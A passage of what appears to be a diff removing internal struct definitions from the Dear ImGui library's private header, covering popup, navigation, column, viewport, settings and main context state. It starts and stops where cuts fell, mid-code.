Stb.cursor = ImMin(Stb.cursor, CurLenW); Stb.select_start = ImMin(Stb.select_start, CurLenW); Stb.select_end = ImMin(Stb.select_end, CurLenW); } - bool HasSelection() const { return Stb.select_start != Stb.select_end; } - void ClearSelection() { Stb.select_start = Stb.select_end = Stb.cursor; } - void SelectAll() { Stb.select_start = 0; Stb.cursor = Stb.select_end = CurLenW; Stb.has_preferred_x = 0; } -}; - -// Storage for current popup stack -struct ImGuiPopupData -{ - ImGuiID PopupId; // Set on OpenPopup() - ImGuiWindow* Window; // Resolved on BeginPopup() - may stay unresolved if user never calls OpenPopup() - ImGuiWindow* SourceWindow; // Set on OpenPopup() copy of NavWindow at the time of opening the popup - int OpenFrameCount; // Set on OpenPopup() - ImGuiID OpenParentId; // Set on OpenPopup(), we need this to differentiate multiple menu sets from each others (e.g. inside menu bar vs loose menu items) - ImVec2 OpenPopupPos; // Set on OpenPopup(), preferred popup position (typically == OpenMousePos when using mouse) - ImVec2 OpenMousePos; // Set on OpenPopup(), copy of mouse position at the time of opening popup - - ImGuiPopupData() { memset(this, 0, sizeof(*this)); OpenFrameCount = -1; } -}; - -struct ImGuiNavMoveResult -{ - ImGuiWindow* Window; // Best candidate window - ImGuiID ID; // Best candidate ID - ImGuiID FocusScopeId; // Best candidate focus scope ID - float DistBox; // Best candidate box distance to current NavId - float DistCenter; // Best candidate center distance to current NavId - float DistAxial; - ImRect RectRel; // Best candidate bounding box in window relative space - - ImGuiNavMoveResult() { Clear(); } - void Clear() { Window = NULL; ID = FocusScopeId = 0; DistBox = DistCenter = DistAxial = FLT_MAX; RectRel = ImRect(); } -}; - -enum ImGuiNextWindowDataFlags_ -{ - ImGuiNextWindowDataFlags_None = 0, - ImGuiNextWindowDataFlags_HasPos = 1 << 0, - ImGuiNextWindowDataFlags_HasSize = 1 << 1, - ImGuiNextWindowDataFlags_HasContentSize = 1 << 2, - ImGuiNextWindowDataFlags_HasCollapsed = 1 << 3, - ImGuiNextWindowDataFlags_HasSizeConstraint = 1 << 4, - ImGuiNextWindowDataFlags_HasFocus = 1 << 5, - ImGuiNextWindowDataFlags_HasBgAlpha = 1 << 6, - ImGuiNextWindowDataFlags_HasScroll = 1 << 7 -}; - -// Storage for SetNexWindow** functions -struct ImGuiNextWindowData -{ - ImGuiNextWindowDataFlags Flags; - ImGuiCond PosCond; - ImGuiCond SizeCond; - ImGuiCond CollapsedCond; - ImVec2 PosVal; - ImVec2 PosPivotVal; - ImVec2 SizeVal; - ImVec2 ContentSizeVal; - ImVec2 ScrollVal; - bool CollapsedVal; - ImRect SizeConstraintRect; - ImGuiSizeCallback SizeCallback; - void* SizeCallbackUserData; - float BgAlphaVal; // Override background alpha - ImVec2 MenuBarOffsetMinVal; // *Always on* This is not exposed publicly, so we don't clear it. - - ImGuiNextWindowData() { memset(this, 0, sizeof(*this)); } - inline void ClearFlags() { Flags = ImGuiNextWindowDataFlags_None; } -}; - -enum ImGuiNextItemDataFlags_ -{ - ImGuiNextItemDataFlags_None = 0, - ImGuiNextItemDataFlags_HasWidth = 1 << 0, - ImGuiNextItemDataFlags_HasOpen = 1 << 1 -}; - -struct ImGuiNextItemData -{ - ImGuiNextItemDataFlags Flags; - float Width; // Set by SetNextItemWidth() - ImGuiID FocusScopeId; // Set by SetNextItemMultiSelectData() (!= 0 signify value has been set, so it's an alternate version of HasSelectionData, we don't use Flags for this because they are cleared too early. This is mostly used for debugging) - ImGuiCond OpenCond; - bool OpenVal; // Set by SetNextItemOpen() - - ImGuiNextItemData() { memset(this, 0, sizeof(*this)); } - inline void ClearFlags() { Flags = ImGuiNextItemDataFlags_None; } // Also cleared manually by ItemAdd()! -}; - -struct ImGuiShrinkWidthItem -{ - int Index; - float Width; -}; - -struct ImGuiPtrOrIndex -{ - void* Ptr; // Either field can be set, not both. e.g. Dock node tab bars are loose while BeginTabBar() ones are in a pool. - int Index; // Usually index in a main pool. - - ImGuiPtrOrIndex(void* ptr) { Ptr = ptr; Index = -1; } - ImGuiPtrOrIndex(int index) { Ptr = NULL; Index = index; } -}; - -//----------------------------------------------------------------------------- -// [SECTION] Columns support -//----------------------------------------------------------------------------- - -// Flags for internal's BeginColumns(). Prefix using BeginTable() nowadays! -enum ImGuiOldColumnFlags_ -{ - ImGuiOldColumnFlags_None = 0, - ImGuiOldColumnFlags_NoBorder = 1 << 0, // Disable column dividers - ImGuiOldColumnFlags_NoResize = 1 << 1, // Disable resizing columns when clicking on the dividers - ImGuiOldColumnFlags_NoPreserveWidths = 1 << 2, // Disable column width preservation when adjusting columns - ImGuiOldColumnFlags_NoForceWithinWindow = 1 << 3, // Disable forcing columns to fit within window - ImGuiOldColumnFlags_GrowParentContentsSize = 1 << 4 // (WIP) Restore pre-1.51 behavior of extending the parent window contents size but _without affecting the columns width at all_. Will eventually remove. - - // Obsolete names (will be removed) -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - , ImGuiColumnsFlags_None = ImGuiOldColumnFlags_None, - ImGuiColumnsFlags_NoBorder = ImGuiOldColumnFlags_NoBorder, - ImGuiColumnsFlags_NoResize = ImGuiOldColumnFlags_NoResize, - ImGuiColumnsFlags_NoPreserveWidths = ImGuiOldColumnFlags_NoPreserveWidths, - ImGuiColumnsFlags_NoForceWithinWindow = ImGuiOldColumnFlags_NoForceWithinWindow, - ImGuiColumnsFlags_GrowParentContentsSize = ImGuiOldColumnFlags_GrowParentContentsSize -#endif -}; - -struct ImGuiOldColumnData -{ - float OffsetNorm; // Column start offset, normalized 0.0 (far left) -> 1.0 (far right) - float OffsetNormBeforeResize; - ImGuiOldColumnFlags Flags; // Not exposed - ImRect ClipRect; - - ImGuiOldColumnData() { memset(this, 0, sizeof(*this)); } -}; - -struct ImGuiOldColumns -{ - ImGuiID ID; - ImGuiOldColumnFlags Flags; - bool IsFirstFrame; - bool IsBeingResized; - int Current; - int Count; - float OffMinX, OffMaxX; // Offsets from HostWorkRect.Min.x - float LineMinY, LineMaxY; - float HostCursorPosY; // Backup of CursorPos at the time of BeginColumns() - float HostCursorMaxPosX; // Backup of CursorMaxPos at the time of BeginColumns() - ImRect HostInitialClipRect; // Backup of ClipRect at the time of BeginColumns() - ImRect HostBackupClipRect; // Backup of ClipRect during PushColumnsBackground()/PopColumnsBackground() - ImRect HostBackupParentWorkRect;//Backup of WorkRect at the time of BeginColumns() - ImVector Columns; - ImDrawListSplitter Splitter; - - ImGuiOldColumns() { memset(this, 0, sizeof(*this)); } -}; - -//----------------------------------------------------------------------------- -// [SECTION] Multi-select support -//----------------------------------------------------------------------------- - -#ifdef IMGUI_HAS_MULTI_SELECT -// -#endif // #ifdef IMGUI_HAS_MULTI_SELECT - -//----------------------------------------------------------------------------- -// [SECTION] Docking support -//----------------------------------------------------------------------------- - -#ifdef IMGUI_HAS_DOCK -// -#endif // #ifdef IMGUI_HAS_DOCK - -//----------------------------------------------------------------------------- -// [SECTION] Viewport support -//----------------------------------------------------------------------------- - -// ImGuiViewport Private/Internals fields (cardinal sin: we are using inheritance!) -// Every instance of ImGuiViewport is in fact a ImGuiViewportP. -struct ImGuiViewportP : public ImGuiViewport -{ - int DrawListsLastFrame[2]; // Last frame number the background (0) and foreground (1) draw lists were used - ImDrawList* DrawLists[2]; // Convenience background (0) and foreground (1) draw lists. We use them to draw software mouser cursor when io.MouseDrawCursor is set and to draw most debug overlays. - ImDrawData DrawDataP; - ImDrawDataBuilder DrawDataBuilder; - - ImVec2 WorkOffsetMin; // Work Area: Offset from Pos to top-left corner of Work Area. Generally (0,0) or (0,+main_menu_bar_height). Work Area is Full Area but without menu-bars/status-bars (so WorkArea always fit inside Pos/Size!) - ImVec2 WorkOffsetMax; // Work Area: Offset from Pos+Size to bottom-right corner of Work Area. Generally (0,0) or (0,-status_bar_height). - ImVec2 CurrWorkOffsetMin; // Work Area: Offset being built/increased during current frame - ImVec2 CurrWorkOffsetMax; // Work Area: Offset being built/decreased during current frame - - ImGuiViewportP() { DrawListsLastFrame[0] = DrawListsLastFrame[1] = -1; DrawLists[0] = DrawLists[1] = NULL; } - ~ImGuiViewportP() { if (DrawLists[0]) IM_DELETE(DrawLists[0]); if (DrawLists[1]) IM_DELETE(DrawLists[1]); } - ImRect GetMainRect() const { return ImRect(Pos.x, Pos.y, Pos.x + Size.x, Pos.y + Size.y); } - ImRect GetWorkRect() const { return ImRect(WorkPos.x, WorkPos.y, WorkPos.x + WorkSize.x, WorkPos.y + WorkSize.y); } - void UpdateWorkRect() { WorkPos = ImVec2(Pos.x + WorkOffsetMin.x, Pos.y + WorkOffsetMin.y); WorkSize = ImVec2(ImMax(0.0f, Size.x - WorkOffsetMin.x + WorkOffsetMax.x), ImMax(0.0f, Size.y - WorkOffsetMin.y + WorkOffsetMax.y)); } -}; - -//----------------------------------------------------------------------------- -// [SECTION] Settings support -//----------------------------------------------------------------------------- - -// Windows data saved in imgui.ini file -// Because we never destroy or rename ImGuiWindowSettings, we can store the names in a separate buffer easily. -// (this is designed to be stored in a ImChunkStream buffer, with the variable-length Name following our structure) -struct ImGuiWindowSettings -{ - ImGuiID ID; - ImVec2ih Pos; - ImVec2ih Size; - bool Collapsed; - bool WantApply; // Set when loaded from .ini data (to enable merging/loading .ini data into an already running context) - - ImGuiWindowSettings() { memset(this, 0, sizeof(*this)); } - char* GetName() { return (char*)(this + 1); } -}; - -struct ImGuiSettingsHandler -{ - const char* TypeName; // Short description stored in .ini file. Disallowed characters: '[' ']' - ImGuiID TypeHash; // == ImHashStr(TypeName) - void (*ClearAllFn)(ImGuiContext* ctx, ImGuiSettingsHandler* handler); // Clear all settings data - void (*ReadInitFn)(ImGuiContext* ctx, ImGuiSettingsHandler* handler); // Read: Called before reading (in registration order) - void* (*ReadOpenFn)(ImGuiContext* ctx, ImGuiSettingsHandler* handler, const char* name); // Read: Called when entering into a new ini entry e.g. "[Window][Name]" - void (*ReadLineFn)(ImGuiContext* ctx, ImGuiSettingsHandler* handler, void* entry, const char* line); // Read: Called for every line of text within an ini entry - void (*ApplyAllFn)(ImGuiContext* ctx, ImGuiSettingsHandler* handler); // Read: Called after reading (in registration order) - void (*WriteAllFn)(ImGuiContext* ctx, ImGuiSettingsHandler* handler, ImGuiTextBuffer* out_buf); // Write: Output every entries into 'out_buf' - void* UserData; - - ImGuiSettingsHandler() { memset(this, 0, sizeof(*this)); } -}; - -//----------------------------------------------------------------------------- -// [SECTION] Metrics, Debug -//----------------------------------------------------------------------------- - -struct ImGuiMetricsConfig -{ - bool ShowWindowsRects; - bool ShowWindowsBeginOrder; - bool ShowTablesRects; - bool ShowDrawCmdMesh; - bool ShowDrawCmdBoundingBoxes; - int ShowWindowsRectsType; - int ShowTablesRectsType; - - ImGuiMetricsConfig() - { - ShowWindowsRects = false; - ShowWindowsBeginOrder = false; - ShowTablesRects = false; - ShowDrawCmdMesh = true; - ShowDrawCmdBoundingBoxes = true; - ShowWindowsRectsType = -1; - ShowTablesRectsType = -1; - } -}; - -struct IMGUI_API ImGuiStackSizes -{ - short SizeOfIDStack; - short SizeOfColorStack; - short SizeOfStyleVarStack; - short SizeOfFontStack; - short SizeOfFocusScopeStack; - short SizeOfGroupStack; - short SizeOfBeginPopupStack; - - ImGuiStackSizes() { memset(this, 0, sizeof(*this)); } - void SetToCurrentState(); - void CompareWithCurrentState(); -}; - -//----------------------------------------------------------------------------- -// [SECTION] Generic context hooks -//----------------------------------------------------------------------------- - -typedef void (*ImGuiContextHookCallback)(ImGuiContext* ctx, ImGuiContextHook* hook); -enum ImGuiContextHookType { ImGuiContextHookType_NewFramePre, ImGuiContextHookType_NewFramePost, ImGuiContextHookType_EndFramePre, ImGuiContextHookType_EndFramePost, ImGuiContextHookType_RenderPre, ImGuiContextHookType_RenderPost, ImGuiContextHookType_Shutdown, ImGuiContextHookType_PendingRemoval_ }; - -struct ImGuiContextHook -{ - ImGuiID HookId; // A unique ID assigned by AddContextHook() - ImGuiContextHookType Type; - ImGuiID Owner; - ImGuiContextHookCallback Callback; - void* UserData; - - ImGuiContextHook() { memset(this, 0, sizeof(*this)); } -}; - -//----------------------------------------------------------------------------- -// [SECTION] ImGuiContext (main imgui context) -//----------------------------------------------------------------------------- - -struct ImGuiContext -{ - bool Initialized; - bool FontAtlasOwnedByContext; // IO.Fonts-> is owned by the ImGuiContext and will be destructed along with it. - ImGuiIO IO; - ImGuiStyle Style; - ImFont* Font; // (Shortcut) == FontStack.empty() ? IO.Font : FontStack.back() - float FontSize; // (Shortcut) == FontBaseSize * g.CurrentWindow->FontWindowScale == window->FontSize(). Text height for current window. - float FontBaseSize; // (Shortcut) == IO.FontGlobalScale * Font->Scale * Font->FontSize. Base text height. - ImDrawListSharedData DrawListSharedData; - double Time; - int FrameCount; - int FrameCountEnded; - int FrameCountRendered; - bool WithinFrameScope; // Set by NewFrame(), cleared by EndFrame() - bool WithinFrameScopeWithImplicitWindow; // Set by NewFrame(), cleared by EndFrame() when the implicit debug window has been pushed - bool WithinEndChild; // Set within EndChild() - bool GcCompactAll; // Request full GC - bool TestEngineHookItems; // Will call test engine hooks: ImGuiTestEngineHook_ItemAdd(), ImGuiTestEngineHook_ItemInfo(), ImGuiTestEngineHook_Log() - ImGuiID TestEngineHookIdInfo; // Will call test engine hooks: ImGuiTestEngineHook_IdInfo() from GetID() - void* TestEngine; // Test engine user data - - // Windows state - ImVector Windows; // Windows, sorted in display order, back to front - ImVector WindowsFocusOrder; // Windows, sorted in focus order, back to front. (FIXME: We could only store root windows here! Need to sort out the Docking equivalent which is RootWindowDockStop and is unfortunately a little more dynamic) - ImVector WindowsTempSortBuffer; // Temporary buffer used in EndFrame() to reorder windows so parents are kept before their child - ImVector CurrentWindowStack; - ImGuiStorage WindowsById; // Map window's ImGuiID to ImGuiWindow* - int WindowsActiveCount; // Number of unique windows submitted by frame - ImGuiWindow* CurrentWindow; // Window being drawn into - ImGuiWindow* HoveredWindow; // Window the mouse is hovering. Will typically catch mouse inputs. - ImGuiWindow* HoveredWindowUnderMovingWindow; // Hovered window ignoring MovingWindow. Only set if MovingWindow is set. - ImGuiWindow* MovingWindow; // Track the window we clicked on (in order to preserve focus). The actual window that is moved is generally MovingWindow->RootWindow. - ImGuiWindow* WheelingWindow; // Track the window we started mouse-wheeling on. Until a timer elapse or mouse has moved, generally keep scrolling the same window even if during the course of scrolling the mouse ends up hovering a child window. - ImVec2 WheelingWindowRefMousePos; - float WheelingWindowTimer; - - // Item/widgets state and tracking information - ImGuiID HoveredId; // Hovered widget, filled during the frame - ImGuiID HoveredIdPreviousFrame; - bool HoveredIdAllowOverlap; - bool HoveredIdUsingMouseWheel; // Hovered widget will use mouse wheel. Blocks scrolling the underlying window. - bool HoveredIdPreviousFrameUsingMouseWheel; - bool HoveredIdDisabled; // At least one widget passed the rect test, but has been discarded by disabled flag or popup inhibit. May be true even if HoveredId == 0. - float HoveredIdTimer; // Measure contiguous hovering time - float HoveredIdNotActiveTimer; // Measure contiguous hovering time where the item has not been active - ImGuiID ActiveId; // Active widget - ImGuiID ActiveIdIsAlive; // Active widget has been seen this frame (we can't use a bool as the ActiveId may change within the frame) - float ActiveIdTimer; - bool ActiveIdIsJustActivated; // Set at the time of activation for one frame - bool ActiveIdAllowOverlap; // Active widget allows another widget to steal active id (generally for overlapping widgets, but not always) - bool ActiveIdNoClearOnFocusLoss; // Disable losing active id if the active id window gets unfocused. - bool ActiveIdHasBeenPressedBefore; // Track whether the active id led to a press (this is to allow changing between PressOnClick and PressOnRelease without pressing twice). Used by range_select branch. - bool ActiveIdHasBeenEditedBefore; // Was the value associated to the widget Edited over the course of the Active state. - bool ActiveIdHasBeenEditedThisFrame; - bool ActiveIdUsingMouseWheel; // Active widget will want to read mouse wheel. Blocks scrolling the underlying window. - ImU32 ActiveIdUsingNavDirMask; // Active widget will want to read those nav move requests (e.g. can activate a button and move away from it) - ImU32 ActiveIdUsingNavInputMask; // Active widget will want to read those nav inputs. - ImU64 ActiveIdUsingKeyInputMask; // Active widget will want to read those key inputs. When we grow the ImGuiKey enum we'll need to either to order the enum to make useful keys come first, either redesign this into e.g. a small array. - ImVec2 ActiveIdClickOffset; // Clicked offset from upper-left corner, if applicable (currently only set by ButtonBehavior) - ImGuiWindow* ActiveIdWindow; - ImGuiInputSource ActiveIdSource; // Activating with mouse or nav (gamepad/keyboard) - int ActiveIdMouseButton; - ImGuiID ActiveIdPreviousFrame; - bool ActiveIdPreviousFrameIsAlive; - bool ActiveIdPreviousFrameHasBeenEditedBefore; - ImGuiWindow* ActiveIdPreviousFrameWindow; - ImGuiID LastActiveId; // Store the last non-zero ActiveId, useful for animation. - float LastActiveIdTimer; // Store the last non-zero ActiveId timer since the beginning of activation, useful for animation. - - // Next window/item data - ImGuiNextWindowData NextWindowData; // Storage for SetNextWindow** functions - ImGuiNextItemData NextItemData; // Storage for SetNextItem** functions - - // Shared stacks - ImVector ColorStack; // Stack for PushStyleColor()/PopStyleColor() - inherited by Begin() - ImVector StyleVarStack; // Stack for PushStyleVar()/PopStyleVar() - inherited by Begin() - ImVector FontStack; // Stack for PushFont()/PopFont() - inherited by Begin() - ImVector FocusScopeStack; // Stack for PushFocusScope()/PopFocusScope() - not inherited by Begin(), unless child window - ImVectorItemFlagsStack; // Stack for PushItemFlag()/PopItemFlag() - inherited by Begin() - ImVectorGroupStack; // Stack for BeginGroup()/EndGroup() - not inherited by Begin() - ImVectorOpenPopupStack; // Which popups are open (persistent) - ImVectorBeginPopupStack; // Which level of BeginPopup() we are in (reset every frame) - - // Viewports - ImVector Viewports; // Active viewports (Size==1 in 'master' branch). Each viewports hold their copy of ImDrawData. - - // Gamepad/keyboard Navigation - ImGuiWindow* NavWindow; // Focused window for navigation. Could be called 'FocusWindow' - ImGuiID NavId; // Focused item for navigation - ImGuiID NavFocusScopeId; // Identify a selection scope (selection code often wants to "clear other items" when landing on an item of the selection set) - ImGuiID NavActivateId; // ~~ (g.ActiveId == 0) && IsNavInputPressed(ImGuiNavInput_Activate) ? NavId : 0, also set when calling ActivateItem() - ImGuiID NavActivateDownId; // ~~ IsNavInputDown(ImGuiNavInput_Activate) ? NavId : 0 - ImGuiID NavActivatePressedId; // ~~ IsNavInputPressed(ImGuiNavInput_Activate) ? NavId : 0 - ImGuiID NavInputId; // ~~ IsNavInputPressed(ImGuiNavInput_Input) ? NavId : 0 - ImGuiID NavJustTabbedId; // Just tabbed to this id. - ImGuiID NavJustMovedToId; // Just navigated to this id (result of a successfully MoveRequest). - ImGuiID NavJustMovedToFocusScopeId; // Just navigated to this focus scope id (result of a successfully MoveRequest). - ImGuiKeyModFlags NavJustMovedToKeyMods; - ImGuiID NavNextActivateId; // Set by ActivateItem(), queued until next frame. - ImGuiInputSource NavInputSource; // Keyboard or Gamepad mode? THIS WILL ONLY BE None or NavGamepad or NavKeyboard. - ImRect NavScoringRect; // Rectangle used for scoring, in screen space. Based of window->NavRectRel[], modified for directional navigation scoring. - int NavScoringCount; // Metrics for debugging - ImGuiNavLayer NavLayer; // Layer we are navigating on. For now the system is hard-coded for 0=main contents and 1=menu/title bar, may expose layers later. - int NavIdTabCounter; // == NavWindow->DC.FocusIdxTabCounter at time of NavId processing - bool NavIdIsAlive; // Nav widget has been seen this frame ~~ NavRectRel is valid - bool NavMousePosDirty; // When set we will update mouse position if (io.ConfigFlags & ImGuiConfigFlags_NavEnableSetMousePos) if set (NB: this not enabled by default) - bool NavDisableHighlight; // When user starts using mouse, we hide gamepad/keyboard highlight (NB: but they are still available, which is why NavDisableHighlight isn't always != NavDisableMouseHover) - bool NavDisableMouseHover; // When user starts using gamepad/keyboard, we hide mouse hovering highlight until mouse is touched again. - bool NavAnyRequest; // ~~ NavMoveRequest || NavInitRequest - bool NavInitRequest; // Init request for appearing window to select first item - bool NavInitRequestFromMove; - ImGuiID NavInitResultId; // Init request result (first item of the window, or one for which SetItemDefaultFocus() was called) - ImRect NavInitResultRectRel; // Init request result rectangle (relative to parent window) - bool NavMoveRequest; // Move request for this frame - ImGuiNavMoveFlags NavMoveRequestFlags; - ImGuiNavForward NavMoveRequestForward; // None / ForwardQueued / ForwardActive (this is used to navigate sibling parent menus from a child menu) - ImGuiKeyModFlags NavMoveRequestKeyMods; - ImGuiDir NavMoveDir, NavMoveDirLast; // Direction of the move request (left/right/up/down), direction of the previous move request - ImGuiDir NavMoveClipDir; // FIXME-NAV: Describe the purpose of this better. Might want to rename? - ImGuiNavMoveResult NavMoveResultLocal; // Best move request candidate within NavWindow - ImGuiNavMoveResult NavMoveResultLocalVisibleSet; // Best move request candidate within NavWindow that are mostly visible (when using ImGuiNavMoveFlags_AlsoScoreVisibleSet flag) - ImGuiNavMoveResult NavMoveResultOther; // Best move request candidate within NavWindow's flattened hierarchy (when using ImGuiWindowFlags_NavFlattened flag) - ImGuiWindow* NavWrapRequestWindow; // Window which requested trying nav wrap-around. - ImGuiNavMoveFlags NavWrapRequestFlags; // Wrap-around operation flags. - - // Navigation: Windowing (CTRL+TAB for list, or Menu button + keys or directional pads to move/resize) - ImGuiWindow* NavWindowingTarget; // Target window when doing CTRL+Tab (or Pad Menu + FocusPrev/Next), this window is temporarily displayed top-most! - ImGuiWindow* NavWindowingTargetAnim; // Record of last valid NavWindowingTarget until DimBgRatio and NavWindowingHighlightAlpha becomes 0.0f, so the fade-out can stay on it. - ImGuiWindow* NavWindowingListWindow; // Internal window actually listing the CTRL+Tab contents - float NavWindowingTimer; - float NavWindowingHighlightAlpha; - bool NavWindowingToggleLayer; - - // Legacy Focus/Tabbing system (older than Nav, active even if Nav is disabled, misnamed. FIXME-NAV: This needs a redesign!) - ImGuiWindow* FocusRequestCurrWindow; // - ImGuiWindow* FocusRequestNextWindow; // - int FocusRequestCurrCounterRegular; // Any item being requested for focus, stored as an index (we on layout to be stable between the frame pressing TAB and the next frame, semi-ouch) - int FocusRequestCurrCounterTabStop; // Tab item being requested for focus, stored as an index - int FocusRequestNextCounterRegular; // Stored for next frame - int FocusRequestNextCounterTabStop; // " - bool FocusTabPressed; // - - // Render - float DimBgRatio; // 0.0..1.0 animation when fading in a dimming background (for modal window and CTRL+TAB list) - ImGuiMouseCursor MouseCursor; - - // Drag and Drop - bool DragDropActive; - bool DragDropWithinSource; // Set when within a BeginDragDropXXX/EndDragDropXXX block for a drag source. - bool DragDropWithinTarget; // Set when within a BeginDragDropXXX/EndDragDropXXX block for a drag target. - ImGuiDragDropFlags DragDropSourceFlags; - int DragDropSourceFrameCount; - int DragDropMouseButton; - ImGuiPayload DragDropPayload; - ImRect DragDropTargetRect; // Store rectangle of current target candidate (we favor small targets when overlapping) - ImGuiID DragDropTargetId; - ImGuiDragDropFlags DragDropAcceptFlags; - float DragDropAcceptIdCurrRectSurface; // Target item surface (we resolve overlapping targets by prioritizing the smaller surface) - ImGuiID DragDropAcceptIdCurr; // Target item id (set at the time of accepting the payload) - ImGuiID DragDropAcceptIdPrev; // Target item id from previous frame (we need to store this to allow for overlapping drag and drop targets) - int DragDropAcceptFrameCount; // Last time a target expressed a desire to accept the source - ImGuiID DragDropHoldJustPressedId; // Set when holding a payload just made ButtonBehavior() return a press. - ImVector DragDropPayloadBufHeap; // We don't expose the ImVector<> directly, ImGuiPayload only holds pointer+size - unsigned char DragDropPayloadBufLocal[16]; // Local buffer for small payloads - - // Table - ImGuiTable* CurrentTable; - ImPool Tables; - ImVector CurrentTableStack; - ImVector TablesLastTimeActive; // Last used timestamp of each tables (SOA, for efficient GC) - ImVector DrawChannelsTempMergeBuffer; - - // Tab bars - ImGuiTabBar* CurrentTabBar; - ImPool TabBars; - ImVector CurrentTabBarStack; - ImVector ShrinkWidthBuffer; - - // Widget state - ImVec2 LastValidMousePos; - ImGuiInputTextState InputTextState; - ImFont InputTextPasswordFont; - ImGuiID TempInputId; // Temporary text input when CTRL+clicking on a slider, etc. - ImGuiColorEditFlags ColorEditOptions; // Store user options for color edit widgets - float ColorEditLastHue; // Backup of last Hue associated to LastColor[3], so we can restore Hue in lossy RGB<>HSV round trips - float ColorEditLastSat; // Backup of last Saturation associated to LastColor[3], so we can restore Saturation in lossy RGB<>HSV round trips - float ColorEditLastColor[3]; - ImVec4 ColorPickerRef; // Initial/reference color at the time of opening the color picker. - float SliderCurrentAccum; // Accumulated slider delta when using navigation controls. - bool SliderCurrentAccumDirty; // Has the accumulated slider delta changed since last time we tried to apply it? - bool DragCurrentAccumDirty; - float DragCurrentAccum; // Accumulator for dragging modification. Always high-precision, not rounded by end-user precision settings - float DragSpeedDefaultRatio; // If speed == 0.0f, uses (max-min) * DragSpeedDefaultRatio - float ScrollbarClickDeltaToGrabCenter; // Distance between mouse and center of grab box, normalized in parent space. Use storage? - int TooltipOverrideCount; - float TooltipSlowDelay; // Time before slow tooltips appears (FIXME: This is temporary until we merge in tooltip timer+priority work) - ImVector ClipboardHandlerData; // If no custom clipboard handler is defined - ImVector MenusIdSubmittedThisFrame; // A list of menu IDs that were rendered at least once - - // Platform support - ImVec2 PlatformImePos; // Cursor position request & last passed to the OS Input Method Editor - ImVec2 PlatformImeLastPos; - char PlatformLocaleDecimalPoint; // '.' or *localeconv()->decimal_point - - // Settings - bool SettingsLoaded; - float SettingsDirtyTimer; // Save .ini Settings to memory when time reaches zero - ImGuiTextBuffer SettingsIniData; // In memory .ini settings - ImVector SettingsHandlers; // List of .ini settings handlers - ImChunkStream SettingsWindows; // ImGuiWindow .ini settings entries - ImChunkStream SettingsTables; // ImGuiTable .ini settings entries - ImVector Hooks; // Hooks for extensions (e.g. test engine) - ImGuiID HookIdNext; // Next available HookId - - // Capture/Logging - bool LogEnabled; // Currently capturing - ImGuiLogType LogType; // Capture target - ImFileHandle LogFile; // If != NULL log to stdout/ file - ImGuiTextBuffer LogBuffer; // Accumulation buffer when log to clipboard. This is pointer so our GImGui static constructor doesn't call heap allocators. - const char* LogNextPrefix; - const char* LogNextSuffix; - float LogLinePosY; - bool LogLineFirstItem; - int LogDepthRef; - int LogDepthToExpand; - int LogDepthToExpandDefault; // Default/stored value for LogDepthMaxExpand if not specified in the LogXXX function call. - - // Debug Tools - bool DebugItemPickerActive; // Item picker is active (started with DebugStartItemPicker()) - ImGuiID DebugItemPickerBreakId; // Will call IM_DEBUG_BREAK() when encountering this id - ImGuiMetricsConfig DebugMetricsConfig; - - // Misc - float FramerateSecPerFrame[120]; // Calculate estimate of framerate for user over the last 2 seconds. - int FramerateSecPerFrameIdx; - float FramerateSecPerFrameAccum; - int WantCaptureMouseNextFrame; // Explicit capture via CaptureKeyboardFromApp()/CaptureMouseFromApp() sets those flags - int WantCaptureKeyboardNextFrame; - int WantTextInputNextFrame; - char TempBuffer[1024 * 3 + 1]; // Temporary text buffer - - ImGuiContext(ImFontAtlas* shared_font_atlas) - { - Initialized = false; - FontAtlasOwnedByContext = shared_font_atlas ? false : true; - Font = NULL; - FontSize = FontBaseSize = 0.0f; - IO.Fonts = shared_font_atlas ? shared_font_atlas : IM_NEW(ImFontAtlas)(); - Time = 0.0f; - FrameCount = 0; - FrameCountEnded = FrameCountRendered = -1; - WithinFrameScope = WithinFrameScopeWithImplicitWindow = WithinEndChild = false; - GcCompactAll = false; - TestEngineHookItems = false; - TestEngineHookIdInfo = 0; - TestEngine = NULL; - - WindowsActiveCount = 0; - CurrentWindow = NULL; - HoveredWindow = NULL; - HoveredWindowUnderMovingWindow = NULL; - MovingWindow = NULL; - WheelingWindow = NULL; - WheelingWindowTimer = 0.0f; - - HoveredId = HoveredIdPreviousFrame = 0; - HoveredIdAllowOverlap = false; - HoveredIdUsingMouseWheel = HoveredIdPreviousFrameUsingMouseWheel = false; - HoveredIdDisabled = false; - HoveredIdTimer = HoveredIdNotActiveTimer = 0.0f; - ActiveId = 0; - ActiveIdIsAlive = 0; - ActiveIdTimer = 0.0f; - ActiveIdIsJustActivated = false; - ActiveIdAllowOverlap = false; - ActiveIdNoClearOnFocusLoss = false; - ActiveIdHasBeenPressedBefore = false; - ActiveIdHasBeenEditedBefore = false; - ActiveIdHasBeenEditedThisFrame = false; - ActiveIdUsingMouseWheel = false; - ActiveIdUsingNavDirMask = 0x00; - ActiveIdUsingNavInputMask = 0x00; - ActiveIdUsingKeyInputMask = 0x00; - ActiveIdClickOffset = ImVec2(-1, -1); - ActiveIdWindow = NULL; - ActiveIdSource = ImGuiInputSource_None; - ActiveIdMouseButton = -1; - ActiveIdPreviousFrame = 0; - ActiveIdPreviousFrameIsAlive = false; - ActiveIdPreviousFrameHasBeenEditedBefore = false; - ActiveIdPreviousFrameWindow = NULL; - LastActiveId = 0; - LastActiveIdTimer = 0.0f; - - NavWindow = NULL; - NavId = NavFocusScopeId = NavActivateId = NavActivateDownId = NavActivatePressedId = NavInputId = 0; - NavJustTabbedId = NavJustMovedToId = NavJustMovedToFocusScopeId = NavNextActivateId = 0; - NavJustMovedToKeyMods = ImGuiKeyModFlags_None; - NavInputSource = ImGuiInputSource_None; - NavScoringRect = ImRect(); - NavScoringCount = 0; - NavLayer = ImGuiNavLayer_Main; - NavIdTabCounter = INT_MAX; - NavIdIsAlive = false; - NavMousePosDirty = false; - NavDisableHighlight = true; - NavDisableMouseHover = false; - NavAnyRequest = false; - NavInitRequest = false; - NavInitRequestFromMove = false; - NavInitResultId = 0; - NavMoveRequest = false; - NavMoveRequestFlags = ImGuiNavMoveFlags_None; - NavMoveRequestForward = ImGuiNavForward_None; - NavMoveRequestKeyMods = ImGuiKeyModFlags_None; - NavMoveDir = NavMoveDirLast = NavMoveClipDir = ImGuiDir_None; - NavWrapRequestWindow = NULL; - NavWrapRequestFlags = ImGuiNavMoveFlags_None; - - NavWindowingTarget = NavWindowingTargetAnim = NavWindowingListWindow = NULL; - NavWindowingTimer = NavWindowingHighlightAlpha = 0.0f; - NavWindowingToggleLayer 